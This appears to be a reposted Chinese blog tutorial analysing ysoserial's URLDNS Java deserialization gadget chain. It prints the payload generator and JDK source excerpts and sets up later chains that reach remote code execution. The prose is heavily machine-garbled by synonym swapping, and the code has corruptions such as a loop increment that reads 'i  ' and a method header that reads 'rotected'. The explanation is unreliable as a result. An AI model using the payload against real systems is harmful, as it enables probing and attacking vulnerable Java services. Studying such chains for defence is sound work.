ysoserial

文中假定你对Java基本上算法设计、Java反序列化、高級特点(反射面、动态代理)等有一定的掌握。

情况

YsoSerial是一款反序列化运用的方便快捷专用工具,能够 很便捷的转化成根据多种多样自然环境的反序列化EXP。java -jar ysoserial.jar 能够 立即查看payload可用自然环境以及可用版本号。

image-20210721172218101

有关此专用工具的情况,我引入P神的《Java安全漫游》文章内容对其的叙述:

2015年Gabriel Lawrence (@gebl)和Chris Frohoffff (@frohoffff)在AppSecCali上明确提出了利⽤Apache Commons Collections来结构指令执⾏的利⽤链,并在年末由于对Weblogic、JBoss、Jenkins等知名应⽤的利⽤,⼀⽯激发千层浪,完全打开了⼀⽚Java安全性的瀚海。⽽ysoserial便是俩位创作者在这里话题中释放的⼀个⼯具,它能够 让⽤户依据⾃⼰挑选的利⽤链,⽣成反序列化利⽤数据信息,根据将这种数据信息发给⽬标,从⽽执⾏⽤户事先界定的指令。

下载神器源代码发觉关键payload转化成逻辑性都是在ysoserial.payloads包下边:

image-20210721173341240

下面关键对于 URLDNS、 CommonCollections1-7、CommonsBeanutils 运用链开展剖析:

URLDNS

URLDNS 是要详细介绍的几个链中启用逻辑性非常简单的一条,因此以这条链逐渐。大家一起来看看yso怎么写的

public Object getObject(final String url) throws Exception {
                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
}

getObject方式便是获得最终的运用类,return的是一个以用心结构的URL目标为key,url字符串数组为值的hashMap,调节一下看下启用链。

image-20210721192804204

HashMap.readOject -> HashMap.hash() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()(获得url的dns地址)

  1. HashMap.readOject()

readObject中有载入key,随后对key开展hash实际操作,从yso编码获知,hashmap的key为用心结构的URL目标

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
....
....
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i  ) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }
  1. HashMap.hash()

跟踪hash,里边启用了URL目标的hashCode()方式。

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
  1. URL.hashCode()

URL目标的存有默认设置的独享hashCode变量其值为-1,因此会启用yso编码中URL目标构造函数的第三个主要参数,URLStreamHandler的hashcode。

  public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
  }
    private int hashCode = -1;
  1. URLStreamHandler.hashCode()

随后启用URLStreamHandler的getHostAddress()方式

protected int hashCode(URL u) {

...
        // Generate the host part.
        InetAddress addr = getHostAddress(u);
 ...

        return h;
    }
  1. URL.getHost()

getHost 便会进行相匹配url的要求,事后就无需再跟了。

rotected synchronized InetAddress getHostAddress(URL u) {
...
        String host = u.getHost();
...
        return u.hostAddress;
    }

之上便是URLDNS的启用逻辑性,可是在yso中或是有两个点非常值得大家留意:

  1. Reflections.setFieldValue(u, "hashCode", -1); 这一行编码是干什么的,是不必要的吗?
  2. 为何SilentURLStreamHandler 会完成2个空方式?

最先第一个难题,这一行编码是干什么的,为何要将URL目标中的hashcode通过反射面的方法设定为-1呢,URL目标中的hash code本身便是-1,为何要那么做?

image-20210721200359928

​ 实际上 根据编码中的注解大家也可以了解,在hashMap开展put实际操作时,会启用hash()方式,从而完成了一次相近反序列化的启用,handler启用hashcode()方式时也会将默认设置的hashCode值开展再次测算,因此put()完,自身的hashCode早已不以-1了,因此反编码序列就不容易在执行handler.hashCode(this),也就没发开启DNS要求。

  public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
  }

第二个难题,实际上 和第一个难题一样,在put时也会开展一次hash()启用进而开展一次dns要求,为了更好地防止在转化成payload目标情况下进行dns要求,因此承继了URLStreamHandler,完成getHostAddress、openConnection2个方式开展空实际操作,从而在生产制造payload目标时就不容易发器dns要求了。

一开始见到这儿的情况下我较为疑虑,调用了这两个方式那时候在应用这一payload去运用的情况下不就没发一切正常进行DNS要求了没有,那那样做实际意义在哪?其实忽视了一个物品,在URL类中,URLStreamHandler被transient关键词标识,transient标识的特性在实例化时不容易带到实例化的数据信息里边,那样在转化成payload或是调节的情况下不容易进行DNS要求,但又不危害payload的一切正常应用,十分恰当。

image-20210721202146438

汇总

URLDNS是一个不用依靠别的包的反序列化运用,且启用全过程非常简单,只能在HashMap与StreamHandler中间启用,略微必须 留意的也就是闪光点,一个为何要将hashcode最终根据反射面的方法置为-1,另一个是为何调用过StreamHandler2个方式为空实际操作后依然能在凡序化时一切正常进行dns要求。

尽管URLDNS这条链非常简单,但实际上 它做不来哪些,只是只能帮助我们分辨这个地方很有可能存有客户可控性的凡实例化难题,依然不可以开展进一步的运用,那要怎样才能运用甚至RCE呢? 下一专题讲座Common-collections1 就来协助大家处理这个问题。

评论(0条)

刀客源码 游客评论